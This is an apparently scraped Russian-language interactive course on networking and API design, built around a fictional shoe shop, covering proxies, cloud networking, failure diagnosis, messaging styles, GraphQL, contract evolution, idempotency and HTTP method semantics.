Тренажёр: что отдавать с CDN?
Решите для каждого адреса «Ботинка», как с ним поступит CDN. Решено 0 из 0.
Прямой и обратный прокси
➡ Прямой прокси (forward proxy)
Стоит на стороне клиентов. Все исходящие запросы компании идут через него: контроль, журнал, фильтрация. Для интеграций важно: сервис в закрытом контуре банка ходит к внешнему API партнёра только через корпоративный прокси — это надо заложить в настройки и сроки.
⬅ Обратный прокси (reverse proxy)
Стоит на стороне серверов и представляется сайтом. Снимает TLS, раскидывает запросы по серверам, сжимает, кеширует, ограничивает частоту, прячет внутреннее устройство. Примеры: nginx, Envoy, HAProxy, Traefik. Балансировщик L7 и шлюз API — частные случаи.
WebSocket: как превратить запрос в открытую линию
101 обе стороны могут слать сообщения в любой момент. Это и есть способ «достучаться до Анны» за NAT: соединение открыла она сама.Долгие соединения и балансировщики: тихий обрыв
Анна открыла чат с поддержкой и ждёт, когда курьер напишет. Соединение молчит. Между Анной и сервером — балансировщик, у которого есть таймаут простоя (idle timeout): соединение, по которому давно ничего не ходило, он закрывает. У многих балансировщиков и у nginx по умолчанию это 60 секунд. Подберите настройки так, чтобы сообщения курьера доходили.
Неравномерность
Долгие соединения «прилипают» к узлам. Добавили два новых сервера — а старые соединения остались на старых, новые узлы простаивают. Помогает ограниченный срок жизни соединения и переподключение клиентов.
Выкатка
Остановка узла рвёт тысячи WebSocket разом — и все клиенты одновременно переподключаются. Нужны плавный вывод узла (drain) и переподключение со случайной паузой. См. .
Цена пингов
100 000 открытых чатов с пингом каждые 20 секунд — это 5 000 служебных сообщений в секунду. Пинг должен быть реже таймаута, но не чаще необходимого.
- «Статика (скрипты, стили, картинки, шрифты) отдаётся через CDN; имена файлов версионируются; доля попаданий в кеш CDN — не ниже 95 %».
- «Канал уведомлений — WebSocket с пингом каждые 30 с и таймаутом простоя на балансировщике не менее 120 с; клиент переподключается с паузой 1–30 с со случайным разбросом».
- «Исходящие вызовы к внешним партнёрам идут через корпоративный прокси; адрес прокси — параметр конфигурации».
глава 11 · облако сеть в облаке и дата-центре: VPC, подсети, NAT-шлюз, Kubernetes
«Ботинок» переехал в облако. Серверы стали виртуальными, провода — программными. Но законы те же: адреса, маршруты, порты, кто кого пускает. Только теперь всё это настраивается в консоли или коде — и ошибиться можно одной галочкой.
Подсеть (subnet)
Кусок адресов VPC в одной зоне доступности. Публичная — в её таблице маршрутов есть выход в интернет через интернет-шлюз; там живут балансировщики. Частная — выхода наружу нет; там живут сервисы и базы.
Зона доступности (availability zone)
Отдельный дата-центр (или группа) внутри региона облака со своим питанием и охлаждением. Зоны одного региона разнесены на километры — обычно до ~100 км — и связаны быстрой оптикой: круг около миллисекунды. Два узла в разных зонах переживают пожар в одной.
Группа безопасности (security group)
Файрвол на уровне отдельной машины: список «кого пускать, на какой порт». Всё, что не разрешено, запрещено. Помнит соединения: если запрос разрешён, ответ на него пройдёт сам. Есть ещё сетевые списки доступа на подсеть — они соединений не помнят.
NAT-шлюз (NAT gateway)
Даёт машинам частной подсети ходить наружу (к платёжному API, за обновлениями), но не пускает никого внутрь. Тот самый NAT из главы 4, только облачный и за деньги — трафик через него тарифицируется.
Частная точка доступа (private endpoint)
Облачный сервис (хранилище файлов, управляемая база, очередь) получает адрес прямо в вашей VPC. Трафик не выходит в интернет и не идёт через NAT-шлюз. У провайдеров называется по-разному: VPC endpoint и PrivateLink, Private Endpoint, Private Service Connect.
Балансировщик на входе
Единственное, что смотрит в интернет. Принимает 443, снимает TLS и отправляет запросы в частные подсети. Сервисы и базы публичных адресов не имеют вообще. См. .
Тренажёр: настройте сеть «Ботинка»
Ниже — сеть магазина в облаке и шесть путей, которые должны работать (или, наоборот, не должны). Переключайте настройки и добейтесь, чтобы все шесть строк стали зелёными.
| Путь | Как надо | Сейчас | Почему |
|---|
Сеть в Kubernetes — коротко
Если сервисы «Ботинка» живут в Kubernetes, поверх облачной сети появляется ещё один слой. Подробно — в , а здесь — то, что влияет на запрос Анны.
У каждого пода свой IP
Под (pod) — группа контейнеров с общим сетевым адресом. Поды пересоздаются и меняют адреса, поэтому по IP к ним не ходят никогда.
Service — постоянное имя и адрес
Service даёт стабильный виртуальный адрес и DNS-имя вида orders.shop.svc.cluster.local и раскидывает соединения по живым подам. Раскидывает по соединениям, а не по запросам: долгие соединения HTTP/2 и gRPC могут «прилипнуть» к одному поду.
Внутренний DNS (CoreDNS)
Короткое имя orders превращается в полное через список суффиксов поиска. По умолчанию имя с менее чем пятью точками сначала перебирается по суффиксам — и каждый внешний адрес вроде api.partner.ru может породить несколько лишних DNS-запросов. При большой нагрузке это заметно.
Сетевые политики и вход
NetworkPolicy — правила «какой под с каким может говорить» (как группы безопасности, но для подов; работают, если их поддерживает сетевой плагин кластера). Снаружи трафик заходит через Ingress или Gateway API. Шифрование между подами часто даёт сервисная сетка ().
- «Базы данных и внутренние сервисы не имеют публичных адресов. Доступ к базе — только от группы безопасности сервиса-владельца, по порту 5432».
- «Обращения к объектному хранилищу идут через частную точку доступа, без выхода в интернет».
- «Сервис развёрнут минимум в двух зонах доступности; синхронные вызовы внутри запроса по возможности не пересекают зоны».
глава 12 · сбои сетевой доктор: по симптому найти, где сломалось
Понедельник, 10:05. В чат поддержки пишут: «сайт не работает». Для покупателя это одно и то же. Для инженера «connection refused», «timeout», «502» и «NXDOMAIN» — четыре разных места поломки и четыре разные команды, которых надо будить. Выберите симптом — доктор покажет, какое звено на пути запроса сломано, как это проверить и что написать в требованиях.
Изучено симптомов: 0 из 0.
Отказ или тишина: главное различие
🚫 Connection refused — быстро и честно
Компьютер по адресу жив и ответил: «на этот порт никто не слушает» (TCP-пакет RST). Ошибка приходит за один круг. Ищите: процесс упал, слушает другой порт или только 127.0.0.1.
⏳ Timeout — долго и непонятно
Ответа нет вообще. Пакет выбросил файрвол, машина выключена, маршрута нет. Клиент повторяет рукопожатие с растущими паузами. Без своего таймаута на соединение Linux сдаётся примерно через 2 минуты (6 повторов SYN) — и всё это время поток клиента занят.
Когда кончаются порты: посчитайте сами
Сервис «Ботинка» на каждый вызов платёжного шлюза открывает новое соединение и закрывает его. Закрывший держит четвёрку в TIME_WAIT 60 секунд, а портов у клиента к одному адресу — около 28 тысяч (32 768–60 999 в Linux).
Тренажёр: чей это лог?
Перед вами строки из логов и консоли. Определите, какое звено сломано. Решено 0 из 0.
Что писать в требованиях про сетевые сбои
Сеть сломается обязательно — вопрос, как поведёт себя система. Требования к таймаутам, повторам и деградации подробно разобраны в . Сетевая часть — такая:
- «Для каждого исходящего вызова заданы три таймаута: на установку соединения (например, 1 с), на ответ (от p99 соседа с запасом) и на операцию целиком с учётом повторов».
- «При ошибках соединения (отказ, таймаут соединения, сброс) допускается не более 2 повторов с растущей паузой и разбросом — только для идемпотентных операций».
- «Пользователь при недоступности сервиса видит понятное сообщение и может повторить действие; введённые данные не теряются».
- «Логи ошибок вызовов содержат имя адресата, разрешённый IP, фазу (DNS, соединение, TLS, ответ) и время каждой фазы».
глава 13 · аналитику сеть в требованиях: как Олегу написать выполнимое НФТ
Вспомним завязку: Олег написал «страница каталога открывается не дольше чем за 1 секунду». Борис в Москве уложился в 0,4 с. Анна в Новосибирске — нет. Кто прав? Никто: требование непроверяемо. Не сказано, для кого, откуда, по какой сети, что значит «открывается» и в каком проценте случаев.
Что такое «открывается»
TTFB (time to first byte) — пришёл первый байт HTML: сеть + сервер. LCP (largest contentful paint) — отрисован главный элемент экрана: то, что видит человек. Полная загрузка — пришло всё. Для API — время ответа на запрос. Выберите одно и назовите его прямо.
Для кого и в каком проценте
Не «среднее», а перцентиль: «p75 ≤ 2,5 с» означает, что у 3 из 4 визитов быстрее. Ориентиры Google для сайтов: LCP ≤ 2,5 с и TTFB ≤ 0,8 с у 75 % визитов считаются хорошими. Разделяйте регионы и типы сети: у Москвы и Владивостока разные цели.
Как мерить
У реальных пользователей (RUM — скрипт на странице отправляет замеры) — это правда. Синтетикой из точек в нужных городах — это контроль и сравнение релизов. Замер «с ноутбука разработчика в офисе» ничего не доказывает.
На каком профиле тестировать
Зафиксируйте профиль: задержка, скорость, потери. Например: «4G: RTT 100 мс, 10 Мбит/с, потери 1 %». В DevTools браузера и в инструментах нагрузочного тестирования такие профили задаются одной настройкой.
Конструктор сетевых НФТ
Ответьте на три вопроса о вашем экране — конструктор предложит формулировки, которые можно проверить. Их всё равно нужно обсудить с архитектором: цифры — ориентир, а не закон.
Частые ошибки в требованиях, связанных с сетью
Вопросы, которые аналитику стоит задать архитектору
глава 14 · проверь себя путь запроса Анны: двенадцать вопросов
Вопросы — из жизни: разбор аварий, споры о требованиях, решения на ревью архитектуры. После ответа раскрывается подробное объяснение.
Решено 0 из 0.
Сервисы — как люди в большой компании: каждый делает своё дело, но в одиночку заказ не соберёт никто. Им приходится договариваться. Можно позвонить и ждать ответа, можно оставить записку, можно повесить объявление для всех. В этом разделе мы проследим один заказ от нажатия кнопки до письма на почту и увидим, какой способ разговора где нужен и почему.
карта раздела как мы пойдём
Раздел — одна история. Мы начнём с конкретного заказа и будем спускаться всё глубже. Главы можно проходить по порядку или прыгать по кнопкам.
глава 1 · сюжет Анна покупает ботинки
Есть интернет-магазин «Ботинок». Раньше это была одна большая программа. Потом её разрезали на несколько сервисов — отдельных программ, у каждой своя задача и своя база данных. Сейчас нас интересуют четыре из них.
Заказы
Принимают заказ и следят, чтобы он дошёл до конца. Главный герой истории.
Склад
Знает, сколько ботинок лежит на полках, и умеет отложить пару под заказ.
Оплата
Списывает деньги с карты через банк. Работает медленнее всех.
Уведомления
Шлёт письма и пуши: «заказ оформлен», «курьер выехал».
Анна открывает приложение и нажимает «Оформить заказ». Сервис заказов не может выполнить заказ в одиночку. Ему надо поговорить со складом, с оплатой и с уведомлениями. Как именно — и есть тема раздела.
Звучит абстрактно, поэтому сначала посмотрим на живой заказ. А пока — коротко о том, зачем в этом разбираться.
глава 2 · сквозной пример заказ Анны по шагам
Анна купила зимние ботинки за 4 200 ₽. Ниже — всё, что случилось в системе за этим нажатием. Жмите «Дальше»: на схеме подсветится, кто говорит (синяя рамка) и кто слушает (зелёная — ответ ждут, фиолетовая — не ждут). Справа — что именно ушло по сети, внизу — почему так.
глава 3 · на пальцах как договариваются люди
В заказе Анны мы видели два разных приёма: Заказы звонили складу и оплате и ждали, а про письмо просто сообщили и пошли дальше. Люди делают то же самое каждый день. Выберите ситуацию — она проиграется по шагам. Следите за левой колонкой: жёлтым отмечено время, когда вы заняты ожиданием.
🙋 Вы (отправитель)
Собеседник
Словарик: слова, которые будут дальше
глава 4 · правило выбора два вопроса, которые выбирают способ
Все аналогии из прошлой главы раскладываются по двум вопросам. Ответьте на них за сервис заказов — и получите подходящий способ. Почти все ошибки в интеграции — это попытка решить задачу из одного угла средствами другого.
📞 Ждём ответ, знаем получателя — запрос-ответ
«Отложи товар», «сколько у меня денег?». REST, gRPC, GraphQL. Ответ нужен, чтобы продолжить работу.
Цена: вы зависите от того, жив ли получатель. Его задержка добавляется к вашей.
✉️ Не ждём, знаем получателя — команда в очередь
«Сформируй отчёт», «отправь письмо». Кладём задачу в очередь конкретному обработчику и идём дальше.
Цена: результат сразу неизвестен. Нужен способ его узнать: статус, обратный вызов или уведомление.
📢 Не ждём, не знаем получателей — событие
«Заказ оформлен». Публикуем факт, кому интересно — тот подписан. Отправитель про подписчиков не знает.
Цена: процесс целиком не виден ни в одном месте. Данные у соседей обновляются с задержкой. Повторы сообщений неизбежны, их надо уметь переживать.
❓ Ждём ответ, не знаем получателя — почти всегда ошибка
«Спрошу у всех, кто-нибудь да ответит». Встречается как «запрос-ответ через брокер» или рассылка вопроса всем.
Почему плохо: вы ждёте самого медленного, а при сбое непонятно, кого искать. Редкое исключение — поиск ближайшего живого узла.
OrderShouldBeShipped («заказ надо отгрузить»), это на самом деле команда. Маскировка под факт лишает систему возможности вернуть отказ — его просто некому отправить.глава 5 · симулятор цепочка звонков против очереди писем
Теперь проверим на практике, почему выбор важен. Представим два крайних варианта магазина.
- Синхронно. Заказы по очереди звонят складу, оплате и уведомлениям и ждут каждого. Анна видит ответ, только когда ответили все трое.
- Асинхронно. Заказы сохраняют заказ и кладут три сообщения в очереди — по одному на каждый сервис. Анна сразу видит «заказ принят», а сервисы разбирают свои очереди сами.
Кнопка под каждым сервисом меняет его состояние: работает → тормозит → лежит. Заказы ждут ответ не дольше 2,5 секунды. Это таймаут — предел ожидания, после которого вызов считается неудачным.
Что попробовать
глава 6 · очередь изнутри талончики, подтверждения и неудачники
Вспомним поликлинику. Пациенты берут талоны, врачи вызывают по одному. Если пришло сразу много людей, очередь растёт, но никто не уходит ни с чем. Если открыть второй кабинет, очередь тает быстрее. Очередь сообщений устроена так же. Вот три её главных правила.
1. Очередь — буфер
Отправитель кладёт задачу и свободен. Пик в 12 задач не роняет обработчика: они подождут.
2. Подтверждение (ack)
Задача удаляется из очереди, только когда обработчик сказал «готово». Упал посреди работы — задача вернётся и достанется другому.
3. Очередь неудачников
Задача, которая падает раз за разом, после трёх попыток уезжает в отдельную очередь (dead letter queue, DLQ), чтобы не крутиться вечно.
Очередь email.send: каждое сообщение — просьба отправить письмо. Поиграйте с ней.
Что попробовать
глава 7 · события объявление для всех
Очередь — это записка конкретному адресату. Но бывают новости, которые нужны многим. «Заказ оформлен» интересен складу, уведомлениям, а завтра — аналитике, бонусам и антифроду (сервису, который ловит мошенников). Можно звонить каждому. А можно повесить объявление в чате дома: кому надо — прочитает.
Событие — сообщение о свершившемся факте. Издатель (тот, кто публикует) не знает подписчиков. Подписчик сам решает, читать или нет. Брокер вроде Kafka хранит события как журнал, и каждый подписчик держит свою закладку — номер последнего прочитанного (offset).
Включайте и выключайте подписчиков в двух режимах. Смотрите на счётчик правок в коде Заказов.
Что попробовать
Команда, событие или запрос?
Отличайте по форме. Команда — повелительное наклонение, один адресат: «зарезервируй». Событие — прошедшее время, адресата нет: «оплачен». Запрос — вопрос, ничего не меняет: «сколько осталось?». Решено 0 из 0.
глава 8 · в движении как летят сообщения: восемь способов
Мы разобрались с идеей: звонок, записка, объявление. Теперь посмотрим на настоящие технологии. Для каждой — живая схема на примере магазина. Конверт ✉️ летит по стрелке от того, кто говорит, к тому, кто слушает. Под схемой — содержимое конверта: заголовки и тело, ровно то, что уходит по сети. Над участниками написано, кто ждёт и кто работает. Пунктирная полоса 🔌 показывает, что соединение между участниками открыто и держится.
глава 9 · GraphQL подробно кто решает, какие поля нужны
Частый вопрос: «В REST летит JSON, в GraphQL тоже летит JSON. В чём разница?» Разница не в формате, а в том, кто решает, что будет в ответе.
🍱 REST: комплексный обед
У сервера много адресов: /orders/77, /couriers/9. Каждый отдаёт свой фиксированный набор полей. Лишнее приходится выбрасывать (перевыборка, over-fetching). Недостающее — добирать новыми запросами (недовыборка, under-fetching).
🧑🍳 GraphQL: заказ à la carte
Адрес один: /graphql. У сервера есть схема — типизированное описание всех данных и связей между ними. Клиент присылает запрос в виде «формы» ответа, и сервер возвращает ровно её. Ни полем больше.
Экран «Мой заказ»: соберите его двумя способами
Отметьте галочками, какие данные нужны экрану. Слева — сколько запросов придётся сделать в REST и сколько там лишнего. Справа — один запрос GraphQL и ответ на него.
Что внутри: схема и резолверы
Схема — контракт GraphQL: какие есть типы, поля и связи. Резолвер — маленькая функция, которая умеет достать одно поле. Сервер проходит по запросу клиента и для каждого поля вызывает его резолвер.
type Query {
order(id: ID!): Order
}
type Order {
id: ID!
status: OrderStatus!
total: Int!
createdAt: String!
items: [OrderItem!]!
courier: Courier # живёт в сервисе доставки
customer: Customer! # живёт в сервисе клиентов
}
type OrderItem {
title: String!
qty: Int!
price: Int!
photo: String
}
type Courier { name: String! phone: String eta: String }
type Customer { name: String! }
const resolvers = {
Query: {
// GET /orders/:id в сервисе заказов
order: (_, { id }) => ordersApi.get(id),
},
Order: {
items: o => ordersApi.items(o.id),
// два вызова внутри: доставка → курьер
courier: o => delivery.courierFor(o.deliveryId),
customer: o => customersApi.get(o.customerId),
},
OrderItem: {
title: it => catalogLoader.load(it.sku)
.then(p => p.title),
},
};
// Резолвер вызывается ТОЛЬКО для полей,
// которые клиент попросил.
// Не спросили courier — в доставку не ходим.
Честные минусы
1. Проблема N+1. Экран «мои заказы» показывает 10 заказов и курьера у каждого. Резолвер courier вызывается для каждого заказа отдельно: 1 запрос за списком + 10 за курьерами. Лечится загрузчиком пачками — DataLoader: он копит вызовы и делает один общий.
2. Дорогие запросы. Клиент сам строит запрос, значит, может построить и очень тяжёлый: вложить списки друг в друга. Каждый уровень умножает число объектов. Двигайте глубину.
3. Кеширование по HTTP не работает
В REST у каждого ресурса свой адрес, и прокси или браузер кешируют GET /orders/77 сами. В GraphQL всё идёт через один POST /graphql с разными телами. Стандартный кеш тут бессилен. Выручают сохранённые запросы (persisted queries) и кеш на клиенте — но это ещё работа.
4. Права доступа на уровне полей
В REST права проверяют на адресе: «этот эндпоинт — только для менеджеров». В GraphQL один адрес, а запрос может дотянуться через связи куда угодно: order → customer → phone. Права приходится проверять в каждом резолвере, иначе клиент вытащит чужой телефон через соседнее поле.
глава 10 · под капотом девять способов: провод и код
Для тех, кто хочет до конца. Тот же магазин «Ботинок» и одна задача, показанная девятью способами. У каждого: житейская аналогия, схема разговора (жмите «Дальше» или тыкайте прямо в стрелки), что летит по проводу, настоящий код с обеих сторон и честный список, чем за это платят.
глава 11 · сравнение и выбор что брать и чем платить
Четыре самых частых способа рядом. Переключайте и сравнивайте по одинаковым вопросам.
Большая таблица: все способы сразу
Таблица широкая — на телефоне её можно прокрутить вбок.
| Способ | Формат | Транспорт | Кто начинает | Где хорош | Где плох | Из жизни | Выбирай, когда… |
|---|---|---|---|---|---|---|---|
| REST | JSON, текст | HTTP/1.1 или 2, запрос → ответ | клиент | публичные API, простые CRUD, кеширование | экран из многих ресурсов, частые вызовы | звонок | нужен ответ сейчас и понятный всем API |
| GraphQL | JSON, запрос-форма | HTTP, обычно один POST | клиент | разные клиенты, экраны из нескольких сервисов | кеш по HTTP, дорогие запросы, права на поля | заказ à la carte | клиентов много и им нужны разные поля |
| gRPC | Protobuf, байты | HTTP/2, вызовы и потоки | клиент (потоки — обе стороны) | частые вызовы между своими сервисами | браузер напрямую, отладка глазами | звонок по служебной линии | внутри периметра важны скорость и строгий контракт |
| Вебхук | JSON + подпись | HTTP-запрос в обратную сторону | внешний сервис | интеграция с партнёрами, долгие процессы | нужен открытый адрес, повторы, подписи | «мы вам перезвоним» | результат у партнёра появляется непредсказуемо поздно |
| Опрос / long polling | JSON | HTTP, повторные запросы | клиент, по таймеру | простота, работает везде | пустые запросы, задержка, висящие соединения | «мы приехали?» | пользователей немного, задержка в секунды приемлема |
| SSE | текст: event/data | HTTP, один долгий ответ | клиент подписывается, дальше пишет сервер | статусы, прогресс, лента, вывод нейросети | только сервер → клиент | радио | обновления идут в одну сторону |
| WebSocket | любые кадры (JSON, байты) | TCP после HTTP Upgrade | обе стороны в любой момент | чаты, совместная работа, игры | привязка к серверу, переподключения, масштаб | рация | обе стороны пишут часто и быстро |
| Очередь | сообщение-команда | брокер (RabbitMQ, SQS) | отправитель, получатель забирает сам | фоновые задачи, сглаживание пиков | результат сразу неизвестен, дубли | записка, талончик | ответ не нужен сейчас, исполнитель один |
| Событие | факт в прошедшем времени | брокер-журнал (Kafka) | издатель, подписчики читают сами | много потребителей, список растёт | процесс не виден целиком, порядок только по ключу | объявление в чате | о факте должны узнать многие, в том числе будущие |
Помощник выбора: ответьте на четыре вопроса
Опишите задачу — помощник подскажет способ и объяснит, почему. Попробуйте разные сочетания.
Справочник протоколов
Строки раскрываются по клику — там подробности, когда что брать.
Задание: выберите способ связи
Решено 0 из 0.
глава 12 · контракты о чём договорились и как это менять
Когда Заказы звонят Складу, оба заранее договорились: куда звонить, какие поля отправить, что придёт в ответ. Эта договорённость называется контракт. Для REST её записывают в OpenAPI — файл с описанием запросов и ответов, для gRPC — в файл .proto, для событий — в схему события.
Главное правило распределённых систем: вы не решаете, когда соседи обновят свой код. У мобильного приложения старые версии живут месяцами на телефонах, которые никто не обновляет. Значит, любое изменение контракта должно быть обратно совместимым: старый потребитель продолжает работать. Несовместимое изменение разбивают на несколько совместимых шагов.
Попробуйте. Сервис заказов отдаёт заказ с полем name — имя покупателя. Решили переименовать его в fullName. Этот ответ читают три потребителя.
Что попробовать
Совместимые изменения
- Добавить необязательное поле в ответ.
- Добавить необязательное поле в запрос со значением по умолчанию.
- Добавить новую ручку (адрес API) или новый тип события.
- Ослабить проверку: принимать больше, чем раньше.
Ломающие изменения
- Удалить или переименовать поле.
- Сменить тип или формат: строка → число, дата с часовым поясом → без.
- Сделать необязательное поле обязательным.
- Изменить смысл значения при том же имени — худший случай: сразу ничего не сломается, всё сломается тихо.
Цикл «расширь — мигрируй — сузь» (expand / contract)
name, добавили fullName./v2/orders — не спасение, а отсрочка. Две версии — это две ветки кода, два набора тестов и двойная поддержка. Удалить v1 всё равно нельзя, пока на ней кто-то сидит. Версия в адресе оправдана для крупной переделки раз в несколько лет. Повседневные изменения делают совместимыми шагами.глава 13 · идемпотентность повтор не должен удваивать
Сеть ненадёжна. Запрос может дойти, а ответ — потеряться. Клиент не знает, что случилось, и повторяет. Анна может дважды нажать кнопку. Брокер может доставить сообщение второй раз. Во всех этих случаях сервер получает одну и ту же просьбу дважды.
Стандартное решение — ключ идемпотентности. Клиент придумывает уникальный номер для каждого намерения («оплатить заказ ord-77») и присылает его в заголовке. Сервер запоминает ключ и ответ. Если ключ пришёл снова, сервер не делает работу повторно, а отдаёт сохранённый ответ.
Что попробовать
Как это выглядит в запросе
POST /payments
Idempotency-Key: 3f1c8a2e-4b7d-4f11-9c2a-77e0d1b6a904
Content-Type: application/json
{"orderId": "ord-77", "amount": 4200, "currency": "RUB"}
// Сервер:
// 1) кладёт ключ в таблицу с уникальным индексом;
// 2) если вставка не прошла — операция уже выполнялась:
// возвращает СОХРАНЁННЫЙ ответ первой попытки, а не новый;
// 3) ключ живёт ограниченное время (обычно 24 часа).
Идемпотентны сами по себе
GET, PUT с полным состоянием, DELETE. Повтор не меняет результат.
Требуют ключа
POST на создание, любое «добавь», «спиши», «начисли». Повтор создаёт дубль.
Частая ошибка
Отвечать на повтор ошибкой «уже существует». Клиент не отличит «мой повтор» от «чужого конфликта». Правильно — вернуть тот же ответ.
messageId или eventId. Обработчик записывает обработанные номера и пропускает уже виденные. Так «хотя бы один раз» от брокера превращается в «ровно один раз» по результату.глава 14 · задание контракты и связь
Коротко, что мы прошли. Звоним, когда без ответа нельзя продолжать. Пишем в очередь, когда ответ не нужен сейчас и адресат известен. Публикуем событие, когда о факте должны узнать многие. Контракт меняем совместимыми шагами. Любую операцию на изменение делаем безопасной для повтора. Теперь проверьте себя.
Решено 0 из 0.
API — это обещание, которое нельзя тихо забрать назад. Код внутри сервиса разработчик Борис переписывает хоть каждый день. Но как только ответ GET /orders/{id} начал читать чужой код — на телефоне Анны, на сервере партнёра, — поменять его в одиночку уже нельзя. Весь раздел — одна история. К API заказов магазина «Ботинок» подключаются мобильное приложение и маркетплейс-партнёр «Стеллаж». Аналитик Олег проектирует договор, Борис его реализует. Мы пройдём по всем местам, где такие договоры обычно ломаются, и в каждом разберём, как сделать правильно.
зачем это проектирование API в одной картинке
карта раздела одна история, пятнадцать глав
Главы идут по ходу работы аналитика: от «что такое договор» до готовой постановки на метод. Про сами способы связи (REST, gRPC, GraphQL, очереди) рассказано в разделе . Здесь — о том, как спроектировать контракт, чтобы он жил годами.
глава 1 · завязка договор с незнакомцами
Сентябрь. У «Ботинка» есть сервис заказов. До сих пор его вызывал только сайт. Сайт и сервис делает одна команда, и выкатываются они вместе: поменяли поле — в тот же вечер поправили сайт. Теперь к сервису подключаются ещё двое. Мобильное приложение «Ботинок» для телефонов. И маркетплейс «Стеллаж»: он будет продавать кроссовки «Ботинка» у себя и создавать заказы через наш API.
Почему опубликованный API менять труднее, чем код
Код внутри сервиса Борис меняет одним коммитом и откатывает за минуты. А контракт живёт в чужом коде. Посмотрите, когда каждый потребитель сможет подстроиться под изменение:
🌐 Сайт
Та же команда, тот же день выкладки. Поменяли API — поправили сайт вместе с ним.
📱 Мобильное приложение
Новую версию люди ставят, когда захотят. Старые версии живут на телефонах месяцами, часть не обновится никогда. Заставить обновиться можно, но это раздражает покупателей.
🤝 Партнёр «Стеллаж»
Чужая компания со своим планом работ. Выпускает версии раз в квартал. О наших изменениях узнает, только если мы ему напишем.
Отсюда главное правило раздела: вы не решаете, когда потребители обновят свой код. Значит, каждое изменение контракта должно либо не ломать старых потребителей, либо выходить новой версией с долгим сроком жизни старой. Подробно — в главе 10.
Что сначала: код или контракт?
Сначала код (code-first)
Борис пишет сервис, описание API генерируется из кода. Быстро, когда потребитель один и в той же команде. Минус: контракт получается «каким вышел», а потребители ждут готового кода, чтобы узнать, что им пришлют.
Сначала контракт (contract-first, design-first)
Олег пишет файл контракта (OpenAPI, глава 11) и согласует его с потребителями до кода. Потом все работают параллельно: мобильщики — на мок-сервере, Борис — над сервером, «Стеллаж» — над интеграцией.
API как продукт (API-first)
Это про отношение, а не про порядок работ. У API есть свои пользователи, документация, журнал изменений, сроки поддержки. Его проектируют как продукт, а не как побочный эффект сервиса.
На практике слова API-first и contract-first часто используют как синонимы. Суть одна: договор появляется раньше реализации и проверяется автоматически. Вот как у Олега идёт работа над API заказов:
«Изменения API заказов публикуются только через ревью файла контракта (OpenAPI). Ломающие изменения — только в новой основной версии. Старая версия поддерживается не менее 6 месяцев после объявления о выводе.»
глава 2 · ресурсы ресурсы и адреса: о чём говорит API
Олег начинает с простого вопроса: о каких вещах будут разговаривать программы? Заказ, покупатель, товар, корзина, платёж. В REST такие вещи называются ресурсами.
/orders — все заказы. Элемент — один ресурс из коллекции: /orders/ord-1042 — один заказ.Семь правил хорошего адреса
| Правило | Хорошо | Плохо | Почему |
|---|---|---|---|
| Существительные, а не глаголы | POST /orders | POST /createOrder | Действие уже выражено методом. Глагол в адресе — это второй способ сказать то же самое, и через год у вас будут /createOrder, /addOrder и /newOrder. |
| Коллекции во множественном числе | /orders/ord-1042 | /order/ord-1042 | Одинаковая форма для списка и элемента. Меньше споров, проще угадывать адреса. |
| Вложенность — только для принадлежности | /orders/ord-1042/items | /customers/cus-77/orders/ord-1042/items/3 | Позиции существуют только внутри заказа — вложение честное. Но глубже двух уровней адрес становится хрупким: чтобы прочитать позицию, клиенту зачем-то нужно знать покупателя. |
| Фильтры — в параметрах запроса | /orders?status=paid | /orders/paid | В пути — «кто», в параметрах — «какие». Иначе /orders/paid нельзя отличить от заказа с номером paid. |
| Один стиль написания | /delivery-slots, поля deliveryDate | /deliverySlots и delivery_date вперемешку | В путях обычно строчные буквы через дефис. В JSON — один стиль на весь API (camelCase или snake_case), записанный в руководстве. |
| Непрозрачные идентификаторы | ord-1042, UUID | номер строки из базы: 1, 2, 3… | Сквозные номера легко перебирать, а конкурент по ним видит, сколько у вас заказов в день. Клиент не должен ничего вычислять из идентификатора. |
| Действие вне CRUD — как ресурс-процесс | POST /orders/ord-1042/cancellation | GET /orders/ord-1042/cancel | «Отменить» — не создать, не прочитать, не удалить. Его оформляют как создание ресурса «отмена». Другой признанный вариант — «особый метод» с двоеточием: POST /orders/ord-1042:cancel (так делает Google). Главное — одно правило на всё API. |
Тренажёр: хороший адрес или плохой?
Решено 0 из 0.
«Ресурс: Заказ (Order). Коллекция: /v1/orders. Элемент: /v1/orders/{orderId}, где orderId — строка вида ord-<число>. Идентификатор выдаёт сервер при создании. Клиент не формирует и не разбирает его.»
глава 3 · методы что обещает каждый глагол HTTP
Адрес говорит «о чём», метод — «что сделать». Смысл методов закреплён в стандарте RFC 9110 «HTTP Semantics» (2022). Это важно: на этот смысл полагаются не только ваши клиенты, но и прокси, кеши, шлюзы и браузеры. Если метод врёт о себе, они сделают неправильные выводы.
| Метод | Что делает | Тело запроса | Безопасный | Идемпотентный | Обычный успех |
|---|---|---|---|---|---|
GET | прочитать ресурс или коллекцию | нет | да | да | 200, 304 |
HEAD | как GET, но только заголовки | нет | да | да | 200 |
OPTIONS | что можно делать с ресурсом; предварительный запрос CORS | нет | да | да | 204, 200 |
POST | создать элемент в коллекции или запустить процесс | да | нет | нет | 201 + Location, 202, 200 |
PUT | заменить ресурс целиком (или создать по известному адресу) | да, полное состояние | нет | да | 200, 204, 201 |
PATCH | изменить часть полей | да, только изменения | нет | не обязан | 200, 204 |
DELETE | удалить ресурс | обычно нет | нет | да | 204, 200, 202 |
DELETE /carts/c-5/items/SOCK-01 вернёт 204, второй — может быть, 404. Но носки из корзины удалены ровно один раз. А вот POST /payments дважды — это два платежа. Поэтому POST требует особой защиты от повторов (глава 7).PUT или PATCH?
PUT — «вот полное новое состояние»
PUT /v1/orders/ord-1042/delivery-address
Content-Type: application/json
{"city": "Москва", "street": "Лесная", "house": "5",
"flat": "12", "comment": "домофон не работает"}Всё, чего нет в теле, будет стёрто. Повтор безопасен: второй раз запишется то же самое. Опасность — в устаревшей копии: если кто-то успел поменять ресурс, PUT затрёт его правки (глава 8).
PATCH — «вот что поменять»
PATCH /v1/orders/ord-1042
Content-Type: application/merge-patch+json
{"deliveryDate": "2026-10-04", "comment": null}Формат JSON Merge Patch (RFC 7396): перечисленные поля заменяются, null означает «удалить поле», остальное не трогается. Есть и JSON Patch (RFC 6902) — список операций: [{"op":"replace","path":"/deliveryDate","value":"2026-10-04"}]. Сам метод PATCH описан в RFC 5789.
GET /orders/ord-1042/cancel в письме Анне. Почтовый сервис проверит ссылку на вирусы, мессенджер построит превью, браузер подгрузит заранее — и каждый из них отменит заказ. Они вправе ходить по GET-ссылкам без спроса: метод обещал, что это безопасно.Модель зрелости Ричардсона: четыре ступени к REST
